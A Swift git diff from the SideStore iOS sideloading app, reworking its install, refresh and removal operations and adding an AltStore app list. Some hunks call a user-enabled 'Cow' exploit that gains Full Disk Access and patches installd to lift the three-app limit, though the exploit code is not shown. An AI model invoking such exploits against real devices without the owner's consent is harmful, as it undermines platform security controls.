||||
} else { self.finish(.failure(OperationError.anisetteV3Error(message: "Couldn't fetch client info. The returned data may not be in JSON"))) }
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.handleV1()
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
func fetchAnisetteV3(_ identifier: String, _ adiPb: String) {
|
||||
fetchClientInfo {
|
||||
print("Fetching anisette V3")
|
||||
var request = URLRequest(url: self.url!.appendingPathComponent("v3").appendingPathComponent("get_headers"))
|
||||
request.httpMethod = "POST"
|
||||
request.httpBody = try! JSONSerialization.data(withJSONObject: [
|
||||
"identifier": identifier,
|
||||
"adi_pb": adiPb
|
||||
], options: [])
|
||||
request.setValue("application/json", forHTTPHeaderField: "Content-Type")
|
||||
URLSession.shared.dataTask(with: request) { data, response, error in
|
||||
do {
|
||||
guard let data = data, error == nil else { throw OperationError.anisetteV3Error(message: "Couldn't fetch anisette") }
|
||||
|
||||
try self.extractAnisetteData(data, response as? HTTPURLResponse, v3: true)
|
||||
} catch let error as NSError {
|
||||
print("Failed to load: \(error.localizedDescription)")
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
}.resume()
|
||||
}
|
||||
|
||||
task.resume()
|
||||
}
|
||||
}
|
||||
|
||||
extension WebSocket {
|
||||
func json(_ dictionary: [String: String]) {
|
||||
let data = try! JSONSerialization.data(withJSONObject: dictionary, options: [])
|
||||
self.write(string: String(data: data, encoding: .utf8)!)
|
||||
}
|
||||
}
|
||||
|
||||
extension Data {
|
||||
// https://stackoverflow.com/a/25391020
|
||||
func sha256() -> Data {
|
||||
var hash = [UInt8](repeating: 0, count: Int(CC_SHA256_DIGEST_LENGTH))
|
||||
self.withUnsafeBytes {
|
||||
_ = CC_SHA256($0.baseAddress, CC_LONG(self.count), &hash)
|
||||
}
|
||||
return Data(hash)
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/a/40089462
|
||||
func hexEncodedString() -> String {
|
||||
return self.map { String(format: "%02hhX", $0) }.joined()
|
||||
}
|
||||
|
||||
// https://stackoverflow.com/a/59127761
|
||||
func object<T>() -> T { self.withUnsafeBytes { $0.load(as: T.self) } }
|
||||
}
|
||||
|
||||
@@ -268,17 +268,8 @@ extension FetchProvisioningProfilesOperation
|
||||
}
|
||||
}
|
||||
}
|
||||
//App ID name must be ascii. If the name is not ascii, using bundleID instead
|
||||
let appIDName: String
|
||||
if !name.allSatisfy({ $0.isASCII }) {
|
||||
//Contains non ASCII (Such as Chinese/Japanese...), using bundleID
|
||||
appIDName = bundleIdentifier
|
||||
}else {
|
||||
//ASCII text, keep going as usual
|
||||
appIDName = name
|
||||
}
|
||||
|
||||
ALTAppleAPI.shared.addAppID(withName: appIDName, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
|
||||
ALTAppleAPI.shared.addAppID(withName: name, bundleIdentifier: bundleIdentifier, team: team, session: session) { (appID, error) in
|
||||
do
|
||||
{
|
||||
do
|
||||
@@ -393,39 +384,19 @@ extension FetchProvisioningProfilesOperation
|
||||
|
||||
if app.isAltStoreApp
|
||||
{
|
||||
print("Application groups before modifying for SideStore: \(applicationGroups)")
|
||||
|
||||
// Remove app groups that contain AltStore since they can be problematic (cause SideStore to expire early)
|
||||
for (index, group) in applicationGroups.enumerated() {
|
||||
if group.contains("AltStore") {
|
||||
print("Removing application group: \(group)")
|
||||
applicationGroups.remove(at: index)
|
||||
}
|
||||
}
|
||||
|
||||
// Make sure we add .AltWidget for the widget
|
||||
var altStoreAppGroupID = Bundle.baseAltStoreAppGroupID
|
||||
for (_, group) in applicationGroups.enumerated() {
|
||||
if group.contains("AltWidget") {
|
||||
altStoreAppGroupID += ".AltWidget"
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// Potentially updating app groups for this specific AltStore.
|
||||
// Find the (unique) AltStore app group, then replace it
|
||||
// with the correct "base" app group ID.
|
||||
// Otherwise, we may append a duplicate team identifier to the end.
|
||||
if let index = applicationGroups.firstIndex(where: { $0.contains(Bundle.baseAltStoreAppGroupID) })
|
||||
{
|
||||
applicationGroups[index] = altStoreAppGroupID
|
||||
applicationGroups[index] = Bundle.baseAltStoreAppGroupID
|
||||
}
|
||||
else
|
||||
{
|
||||
applicationGroups.append(altStoreAppGroupID)
|
||||
applicationGroups.append(Bundle.baseAltStoreAppGroupID)
|
||||
}
|
||||
}
|
||||
print("Application groups: \(applicationGroups)")
|
||||
|
||||
// Dispatch onto global queue to prevent appGroupsLock deadlock.
|
||||
DispatchQueue.global().async {
|
||||
|
||||
@@ -8,10 +8,9 @@
|
||||
import Foundation
|
||||
import Network
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import AltStoreCore
|
||||
import Roxas
|
||||
import minimuxer
|
||||
|
||||
@objc(InstallAppOperation)
|
||||
final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
@@ -45,8 +44,8 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
else { return self.finish(.failure(OperationError.invalidParameters)) }
|
||||
|
||||
let backgroundContext = DatabaseManager.shared.persistentContainer.newBackgroundContext()
|
||||
backgroundContext.perform {
|
||||
|
||||
backgroundContext.perform
|
||||
{
|
||||
/* App */
|
||||
let installedApp: InstalledApp
|
||||
|
||||
@@ -142,79 +141,64 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
installedApp.isActive = false
|
||||
}
|
||||
}
|
||||
|
||||
activeProfiles = Set(activeApps.flatMap { (installedApp) -> [String] in
|
||||
|
||||
activeProfiles = Set(activeApps.flatMap
|
||||
{ installedApp -> [String] in
|
||||
let appExtensionProfiles = installedApp.appExtensions.map { $0.resignedBundleIdentifier }
|
||||
return [installedApp.resignedBundleIdentifier] + appExtensionProfiles
|
||||
})
|
||||
}
|
||||
|
||||
var installing = true
|
||||
if installedApp.storeApp?.bundleIdentifier == Bundle.Info.appbundleIdentifier {
|
||||
// Reinstalling ourself will hang until we leave the app, so we need to exit it without force closing
|
||||
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||||
if UIApplication.shared.applicationState != .active {
|
||||
print("We are not in the foreground, let's not do anything")
|
||||
return
|
||||
}
|
||||
if !installing {
|
||||
print("Installing finished")
|
||||
return
|
||||
}
|
||||
print("We are still installing after 3 seconds")
|
||||
|
||||
UNUserNotificationCenter.current().getNotificationSettings { settings in
|
||||
switch (settings.authorizationStatus) {
|
||||
case .authorized, .ephemeral, .provisional:
|
||||
print("Notifications are enabled")
|
||||
|
||||
let content = UNMutableNotificationContent()
|
||||
content.title = "Refreshing..."
|
||||
content.body = "To finish refreshing, SideStore must be moved to the background, which it does by opening Safari. Please reopen SideStore after it is done refreshing!"
|
||||
let notification = UNNotificationRequest(identifier: Bundle.Info.appbundleIdentifier + ".FinishRefreshNotification", content: content, trigger: UNTimeIntervalNotificationTrigger(timeInterval: 2, repeats: false))
|
||||
UNUserNotificationCenter.current().add(notification)
|
||||
|
||||
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
|
||||
|
||||
break
|
||||
default:
|
||||
print("Notifications are not enabled")
|
||||
|
||||
let alert = UIAlertController(title: "Finish Refresh", message: "To finish refreshing, SideStore must be moved to the background. To do this, you can either go to the Home Screen or open Safari by pressing Continue. Please reopen SideStore after doing this.", preferredStyle: .alert)
|
||||
alert.addAction(UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default, handler: { _ in
|
||||
print("Opening Safari")
|
||||
DispatchQueue.main.async { UIApplication.shared.open(URL(string: "x-web-search://")!) }
|
||||
}))
|
||||
|
||||
DispatchQueue.main.async {
|
||||
let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first
|
||||
if var topController = keyWindow?.rootViewController {
|
||||
while let presentedViewController = topController.presentedViewController {
|
||||
topController = presentedViewController
|
||||
}
|
||||
topController.present(alert, animated: true)
|
||||
} else {
|
||||
print("No key window? Let's just open Safari")
|
||||
UIApplication.shared.open(URL(string: "x-web-search://")!)
|
||||
}
|
||||
let ns_bundle = NSString(string: installedApp.bundleIdentifier)
|
||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||
|
||||
let res = minimuxer_install_ipa(ns_bundle_ptr)
|
||||
if res == 0
|
||||
{
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
else if res == -15
|
||||
{
|
||||
// try again
|
||||
if UserDefaults.standard.enableCowExploit && UserDefaults.standard.isCowExploitSupported
|
||||
{
|
||||
patch3AppLimit
|
||||
{ result in
|
||||
switch result
|
||||
{
|
||||
case .success:
|
||||
UserDefaults.standard.set(bootTime(), forKey: "cowExploitRanBootTime")
|
||||
print("patched sucessfully")
|
||||
case .failure(let err):
|
||||
switch err
|
||||
{
|
||||
case .NoFDA:
|
||||
self.finish(.failure(OperationError.cowExploitNoFDA))
|
||||
return
|
||||
case .FailedPatchd:
|
||||
self.finish(.failure(OperationError.cowExploitFailedPatchd))
|
||||
return
|
||||
}
|
||||
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
let res_try_again = minimuxer_install_ipa(ns_bundle_ptr)
|
||||
if res_try_again == 0
|
||||
{
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
else
|
||||
{
|
||||
self.finish(.failure(minimuxer_to_operation(code: res_try_again)))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
do {
|
||||
try install_ipa(installedApp.bundleIdentifier)
|
||||
installing = false
|
||||
} catch {
|
||||
installing = false
|
||||
return self.finish(.failure(error))
|
||||
else
|
||||
{
|
||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||
}
|
||||
|
||||
installedApp.refreshedDate = Date()
|
||||
self.finish(.success(installedApp))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -230,11 +214,10 @@ final class InstallAppOperation: ResultOperation<InstalledApp>
|
||||
do
|
||||
{
|
||||
try FileManager.default.removeItem(at: fileURL)
|
||||
print("Removed refreshed IPA")
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("Failed to remove refreshed .ipa: \(error)")
|
||||
print("Failed to remove refreshed .ipa:", error)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -6,12 +6,10 @@
|
||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AltSign
|
||||
import minimuxer
|
||||
import Foundation
|
||||
|
||||
enum OperationError: LocalizedError
|
||||
{
|
||||
enum OperationError: LocalizedError {
|
||||
static let domain = OperationError.unknown._domain
|
||||
|
||||
case unknown
|
||||
@@ -34,9 +32,20 @@ enum OperationError: LocalizedError
|
||||
case openAppFailed(name: String)
|
||||
case missingAppGroup
|
||||
|
||||
case anisetteV1Error(message: String)
|
||||
case provisioningError(result: String, message: String?)
|
||||
case anisetteV3Error(message: String)
|
||||
case noDevice
|
||||
case createService(name: String)
|
||||
case getFromDevice(name: String)
|
||||
case setArgument(name: String)
|
||||
case afc
|
||||
case install
|
||||
case uninstall
|
||||
case lookupApps
|
||||
case detach
|
||||
case functionArguments
|
||||
case profileInstall
|
||||
case noConnection
|
||||
case cowExploitNoFDA
|
||||
case cowExploitFailedPatchd
|
||||
|
||||
var failureReason: String? {
|
||||
switch self {
|
||||
@@ -53,25 +62,33 @@ enum OperationError: LocalizedError
|
||||
case .openAppFailed(let name): return String(format: NSLocalizedString("SideStore was denied permission to launch %@.", comment: ""), name)
|
||||
case .missingAppGroup: return NSLocalizedString("SideStore's shared app group could not be found.", comment: "")
|
||||
case .maximumAppIDLimitReached: return NSLocalizedString("Cannot register more than 10 App IDs.", comment: "")
|
||||
case .anisetteV1Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V1 server: %@. Try using another anisette server.", comment: ""), message)
|
||||
case .provisioningError(let result, let message): return String(format: NSLocalizedString("An error occurred when provisioning: %@%@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), result, message != nil ? (" (" + message! + ")") : "")
|
||||
case .anisetteV3Error(let message): return String(format: NSLocalizedString("An error occurred when getting anisette data from a V3 server: %@. Please try again. If the issue persists, report it on GitHub Issues!", comment: ""), message)
|
||||
case .noDevice: return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||
case .createService(let name): return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
|
||||
case .getFromDevice(let name): return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
|
||||
case .setArgument(let name): return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
|
||||
case .afc: return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||
case .install: return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
|
||||
case .uninstall: return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||
case .lookupApps: return NSLocalizedString("Unable to fetch apps from the device", comment: "")
|
||||
case .detach: return NSLocalizedString("Unable to detach from the app's process", comment: "")
|
||||
case .functionArguments: return NSLocalizedString("A function was passed invalid arguments", comment: "")
|
||||
case .profileInstall: return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .noConnection: return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .cowExploitNoFDA: return NSLocalizedString("Unable to get Full Disk Access using exploit.", comment: "")
|
||||
case .cowExploitFailedPatchd: return NSLocalizedString("Unable to patch installd using exploit.", comment: "")
|
||||
}
|
||||
}
|
||||
|
||||
var recoverySuggestion: String? {
|
||||
switch self
|
||||
{
|
||||
switch self {
|
||||
case .maximumAppIDLimitReached(let application, let requiredAppIDs, let availableAppIDs, let date):
|
||||
let baseMessage = NSLocalizedString("Delete sideloaded apps to free up App ID slots.", comment: "")
|
||||
let message: String
|
||||
|
||||
if requiredAppIDs > 1
|
||||
{
|
||||
if requiredAppIDs > 1 {
|
||||
let availableText: String
|
||||
|
||||
switch availableAppIDs
|
||||
{
|
||||
switch availableAppIDs {
|
||||
case 0: availableText = NSLocalizedString("none are available", comment: "")
|
||||
case 1: availableText = NSLocalizedString("only 1 is available", comment: "")
|
||||
default: availableText = String(format: NSLocalizedString("only %@ are available", comment: ""), NSNumber(value: availableAppIDs))
|
||||
@@ -80,8 +97,7 @@ enum OperationError: LocalizedError
|
||||
let prefixMessage = String(format: NSLocalizedString("%@ requires %@ App IDs, but %@.", comment: ""), application.name, NSNumber(value: requiredAppIDs), availableText)
|
||||
message = prefixMessage + " " + baseMessage
|
||||
}
|
||||
else
|
||||
{
|
||||
else {
|
||||
let dateComponents = Calendar.current.dateComponents([.day, .hour, .minute], from: Date(), to: date)
|
||||
|
||||
let dateComponentsFormatter = DateComponentsFormatter()
|
||||
@@ -101,66 +117,49 @@ enum OperationError: LocalizedError
|
||||
}
|
||||
}
|
||||
|
||||
extension MinimuxerError: LocalizedError {
|
||||
public var failureReason: String? {
|
||||
switch self {
|
||||
case .NoDevice:
|
||||
return NSLocalizedString("Cannot fetch the device from the muxer", comment: "")
|
||||
case .NoConnection:
|
||||
return NSLocalizedString("Unable to connect to the device, make sure Wireguard is enabled and you're connected to WiFi", comment: "")
|
||||
case .PairingFile:
|
||||
return NSLocalizedString("Invalid pairing file. Your pairing file either didn't have a UDID, or it wasn't a valid plist. Please use jitterbugpair to generate it", comment: "")
|
||||
|
||||
case .CreateDebug:
|
||||
return self.createService(name: "debug")
|
||||
case .LookupApps:
|
||||
return self.getFromDevice(name: "installed apps")
|
||||
case .FindApp:
|
||||
return self.getFromDevice(name: "path to the app")
|
||||
case .BundlePath:
|
||||
return self.getFromDevice(name: "bundle path")
|
||||
case .MaxPacket:
|
||||
return self.setArgument(name: "max packet")
|
||||
case .WorkingDirectory:
|
||||
return self.setArgument(name: "working directory")
|
||||
case .Argv:
|
||||
return self.setArgument(name: "argv")
|
||||
case .LaunchSuccess:
|
||||
return self.getFromDevice(name: "launch success")
|
||||
case .Detach:
|
||||
return NSLocalizedString("Unable to detach from the app's process", comment: "")
|
||||
case .Attach:
|
||||
return NSLocalizedString("Unable to attach to the app's process", comment: "")
|
||||
|
||||
case .CreateInstproxy:
|
||||
return self.createService(name: "instproxy")
|
||||
case .CreateAfc:
|
||||
return self.createService(name: "AFC")
|
||||
case .RwAfc:
|
||||
return NSLocalizedString("AFC was unable to manage files on the device", comment: "")
|
||||
case .InstallApp:
|
||||
return NSLocalizedString("Unable to install the app from the staging directory", comment: "")
|
||||
case .UninstallApp:
|
||||
return NSLocalizedString("Unable to uninstall the app", comment: "")
|
||||
|
||||
case .CreateMisagent:
|
||||
return self.createService(name: "misagent")
|
||||
case .ProfileInstall:
|
||||
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
case .ProfileRemove:
|
||||
return NSLocalizedString("Unable to manage profiles on the device", comment: "")
|
||||
}
|
||||
}
|
||||
|
||||
fileprivate func createService(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot start a %@ server on the device.", comment: ""), name)
|
||||
}
|
||||
|
||||
fileprivate func getFromDevice(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot fetch %@ from the device.", comment: ""), name)
|
||||
}
|
||||
|
||||
fileprivate func setArgument(name: String) -> String {
|
||||
return String(format: NSLocalizedString("Cannot set %@ on the device.", comment: ""), name)
|
||||
func minimuxer_to_operation(code: Int32) -> OperationError {
|
||||
switch code {
|
||||
case 1:
|
||||
return OperationError.noDevice
|
||||
case 2:
|
||||
return OperationError.createService(name: "debug")
|
||||
case 3:
|
||||
return OperationError.createService(name: "instproxy")
|
||||
case 4:
|
||||
return OperationError.getFromDevice(name: "installed apps")
|
||||
case 5:
|
||||
return OperationError.getFromDevice(name: "path to the app")
|
||||
case 6:
|
||||
return OperationError.getFromDevice(name: "bundle path")
|
||||
case 7:
|
||||
return OperationError.setArgument(name: "max packet")
|
||||
case 8:
|
||||
return OperationError.setArgument(name: "working directory")
|
||||
case 9:
|
||||
return OperationError.setArgument(name: "argv")
|
||||
case 10:
|
||||
return OperationError.getFromDevice(name: "launch success")
|
||||
case 11:
|
||||
return OperationError.detach
|
||||
case 12:
|
||||
return OperationError.functionArguments
|
||||
case 13:
|
||||
return OperationError.createService(name: "AFC")
|
||||
case 14:
|
||||
return OperationError.afc
|
||||
case 15:
|
||||
return OperationError.install
|
||||
case 16:
|
||||
return OperationError.uninstall
|
||||
case 17:
|
||||
return OperationError.createService(name: "misagent")
|
||||
case 18:
|
||||
return OperationError.profileInstall
|
||||
case 19:
|
||||
return OperationError.profileInstall
|
||||
case 20:
|
||||
return OperationError.noConnection
|
||||
default:
|
||||
return OperationError.unknown
|
||||
}
|
||||
}
|
||||
|
||||
@@ -49,12 +49,15 @@ final class RefreshAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
for p in profiles {
|
||||
do {
|
||||
let bytes = p.value.data.toRustByteSlice()
|
||||
try install_provisioning_profile(bytes.forRust())
|
||||
let x = try install_provisioning_profile(plist: p.value.data)
|
||||
if case .Bad(let code) = x {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
} catch {
|
||||
return self.finish(.failure(error))
|
||||
self.finish(.failure(OperationError.unknown))
|
||||
}
|
||||
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
let predicate = NSPredicate(format: "%K == %@", #keyPath(InstalledApp.bundleIdentifier), app.bundleIdentifier)
|
||||
|
||||
@@ -39,11 +39,15 @@ final class RemoveAppOperation: ResultOperation<InstalledApp>
|
||||
let resignedBundleIdentifier = installedApp.resignedBundleIdentifier
|
||||
|
||||
do {
|
||||
try remove_app(resignedBundleIdentifier)
|
||||
let res = try remove_app(app_id: resignedBundleIdentifier)
|
||||
if case Uhoh.Bad(let code) = res {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
} catch {
|
||||
return self.finish(.failure(error))
|
||||
self.finish(.failure(ALTServerError(.appDeletionFailed)))
|
||||
}
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
self.progress.completedUnitCount += 1
|
||||
|
||||
|
||||
@@ -61,7 +61,6 @@ final class ResignAppOperation: ResultOperation<ALTApplication>
|
||||
{
|
||||
let destinationURL = InstalledApp.refreshedIPAURL(for: app)
|
||||
try FileManager.default.copyItem(at: resignedURL, to: destinationURL, shouldReplace: true)
|
||||
print("Successfully resigned app to \(destinationURL.absoluteString)")
|
||||
|
||||
// Use appBundleURL since we need an app bundle, not .ipa.
|
||||
guard let resignedApplication = ALTApplication(fileURL: appBundleURL) else { throw OperationError.invalidApp }
|
||||
@@ -148,14 +147,6 @@ private extension ResignAppOperation
|
||||
infoDictionary[Bundle.Info.exportedUTIs] = exportedUTIs
|
||||
|
||||
try (infoDictionary as NSDictionary).write(to: bundle.infoPlistURL)
|
||||
|
||||
// Remove _CodeSignature folder (if it exists) because it will be added when resigning and it may have files that aren't overwritten when resigning
|
||||
// These files might be the cause of some ApplicationVerificationFailed errors
|
||||
let codeSignaturePath = bundle.bundleURL.appendingPathComponent("_CodeSignature").absoluteString.replacingOccurrences(of: "file://", with: "")
|
||||
if FileManager.default.fileExists(atPath: codeSignaturePath) {
|
||||
try FileManager.default.removeItem(atPath: codeSignaturePath)
|
||||
print("Removed _CodeSignature folder at \(codeSignaturePath)")
|
||||
}
|
||||
}
|
||||
|
||||
DispatchQueue.global().async {
|
||||
|
||||
@@ -9,7 +9,6 @@ import Foundation
|
||||
import Network
|
||||
|
||||
import AltStoreCore
|
||||
import minimuxer
|
||||
|
||||
@objc(SendAppOperation)
|
||||
final class SendAppOperation: ResultOperation<()>
|
||||
@@ -45,18 +44,24 @@ final class SendAppOperation: ResultOperation<()>
|
||||
|
||||
print("AFC App `fileURL`: \(fileURL.absoluteString)")
|
||||
|
||||
let ns_bundle = NSString(string: app.bundleIdentifier)
|
||||
let ns_bundle_ptr = UnsafeMutablePointer<CChar>(mutating: ns_bundle.utf8String)
|
||||
|
||||
if let data = NSData(contentsOf: fileURL) {
|
||||
do {
|
||||
let bytes = Data(data).toRustByteSlice()
|
||||
try yeet_app_afc(app.bundleIdentifier, bytes.forRust())
|
||||
} catch {
|
||||
return self.finish(.failure(error))
|
||||
let pls = UnsafeMutablePointer<UInt8>.allocate(capacity: data.length)
|
||||
for (index, data) in data.enumerated() {
|
||||
pls[index] = data
|
||||
}
|
||||
let res = minimuxer_yeet_app_afc(ns_bundle_ptr, pls, UInt(data.length))
|
||||
if res == 0 {
|
||||
print("minimuxer_yeet_app_afc `res` == \(res)")
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} else {
|
||||
self.finish(.failure(minimuxer_to_operation(code: res)))
|
||||
}
|
||||
|
||||
self.progress.completedUnitCount += 1
|
||||
self.finish(.success(()))
|
||||
} else {
|
||||
print("IPA doesn't exist????")
|
||||
self.finish(.failure(ALTServerError(.underlyingError)))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
//
|
||||
// Filterable.swift
|
||||
// SideStore
|
||||
//
|
||||
// Created by Fabian Thies on 01.12.22.
|
||||
// Copyright © 2022 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
protocol Filterable {
|
||||
func matches(_ searchText: String) -> Bool
|
||||
}
|
||||
|
||||
extension Collection where Element: Filterable {
|
||||
func matches(_ searchText: String) -> Bool {
|
||||
self.contains(where: { $0.matches(searchText) })
|
||||
}
|
||||
|
||||
func items(matching searchText: String) -> [Element] {
|
||||
self.filter { $0.matches(searchText) }
|
||||
}
|
||||
}
|
||||
@@ -1,22 +0,0 @@
|
||||
//
|
||||
// NavigationTab.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SFSafeSymbols
|
||||
|
||||
protocol NavigationTab: RawRepresentable, Identifiable, CaseIterable, Hashable where RawValue == Int {
|
||||
static var defaultTab: Self { get }
|
||||
var displaySymbol: SFSymbol { get }
|
||||
var displayName: String { get }
|
||||
}
|
||||
|
||||
extension NavigationTab {
|
||||
var id: Int {
|
||||
self.rawValue
|
||||
}
|
||||
}
|
||||
@@ -1,11 +0,0 @@
|
||||
//
|
||||
// ViewModel.swift
|
||||
// SideStoreUI
|
||||
//
|
||||
// Created by Fabian Thies on 18.11.22.
|
||||
// Copyright © 2022 Fabian Thies. All rights reserved.
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
protocol ViewModel: ObservableObject {}
|
||||
@@ -1,20 +0,0 @@
|
||||
{
|
||||
"colors" : [
|
||||
{
|
||||
"color" : {
|
||||
"color-space" : "srgb",
|
||||
"components" : {
|
||||
"alpha" : "1.000",
|
||||
"blue" : "0xFA",
|
||||
"green" : "0x05",
|
||||
"red" : "0xA4"
|
||||
}
|
||||
},
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
||||
269
AltStore/Resources/apps.json
Normal file
269
AltStore/Resources/apps.json
Normal file
@@ -0,0 +1,269 @@
|
||||
{
|
||||
"name": "AltStore",
|
||||
"identifier": "com.rileytestut.AltStore",
|
||||
"sourceURL": "https://cdn.altstore.io/file/altstore/apps.json",
|
||||
"apps": [
|
||||
{
|
||||
"name": "AltStore",
|
||||
"bundleIdentifier": "com.rileytestut.AltStore",
|
||||
"developerName": "Riley Testut",
|
||||
"version": "1.5.1",
|
||||
"versionDate": "2022-07-14T12:00:00-05:00",
|
||||
"versionDescription": "This update fixes the following issues:\n\n• Using Apple IDs that contain capital letters\n• Using Apple IDs with 2FA enabled without any trusted devices\n• Repeatedly asking some users to sign in every refresh\n• \"Incorrect Apple ID or password\" error after changing Apple ID email address\n• “Application is missing application-identifier” error when sideloading or (de-)activating certain apps\n• Potential crash when receiving unknown error codes from AltServer",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/altstore/1_5_1.ipa",
|
||||
"localizedDescription": "AltStore is an alternative app store for non-jailbroken devices. \n\nThis version of AltStore allows you to install Delta, an all-in-one emulator for iOS, as well as sideload other .ipa files from the Files app.",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/65270980-1eb96f80-dad1-11e9-9367-78ccd25ceb02.png",
|
||||
"tintColor": "018084",
|
||||
"size": 5465976,
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/78942028-acf54300-7a6d-11ea-821c-5bb7a9b3e73a.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/78942222-0fe6da00-7a6e-11ea-9f2a-dda16157583c.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65605577-332cba80-df5e-11e9-9f00-b369ce974f71.PNG"
|
||||
],
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-fetch",
|
||||
"usageDescription": "AltStore periodically refreshes apps in the background to prevent them from expiring."
|
||||
},
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows AltStore to run longer than 30 seconds when refreshing apps in background."
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "AltStore",
|
||||
"bundleIdentifier": "com.rileytestut.AltStore.Beta",
|
||||
"developerName": "Riley Testut",
|
||||
"subtitle": "An alternative App Store for iOS.",
|
||||
"version": "1.6b2",
|
||||
"versionDate": "2022-09-21T13:00:00-05:00",
|
||||
"versionDescription": "• Fixed “error migrating persistent store” issue on launch\n\nPREVIOUS VERSION\n\nLock Screen Widget (iOS 16+)\n• Counts down days until AltStore expires\n• Comes in 2 different styles: “icon” and “text”\n\nError Log\n• View past errors in more detail\n• Tap an error to copy the error message or error code\n• Search for error code directly in AltStore FAQ",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/altstore/1_6_b2.ipa",
|
||||
"localizedDescription": "AltStore is an alternative app store for non-jailbroken devices. \n\nThis beta release of AltStore adds support for 3rd party sources, allowing you to download apps from other developers directly through AltStore.",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/65270980-1eb96f80-dad1-11e9-9367-78ccd25ceb02.png",
|
||||
"tintColor": "018084",
|
||||
"size": 5465933,
|
||||
"beta": true,
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/78942028-acf54300-7a6d-11ea-821c-5bb7a9b3e73a.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/78942222-0fe6da00-7a6e-11ea-9f2a-dda16157583c.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65605577-332cba80-df5e-11e9-9f00-b369ce974f71.PNG"
|
||||
],
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-fetch",
|
||||
"usageDescription": "AltStore periodically refreshes apps in the background to prevent them from expiring."
|
||||
},
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows AltStore to run longer than 30 seconds when refreshing apps in background."
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Delta",
|
||||
"bundleIdentifier": "com.rileytestut.Delta",
|
||||
"developerName": "Riley Testut",
|
||||
"subtitle": "Classic games in your pocket.",
|
||||
"version": "1.3.1",
|
||||
"versionDate": "2021-12-02T13:30:00-08:00",
|
||||
"versionDescription": "• Fixes game artwork not loading\n• Fixes using deprecated DeSmuME core over melonDS core for some users",
|
||||
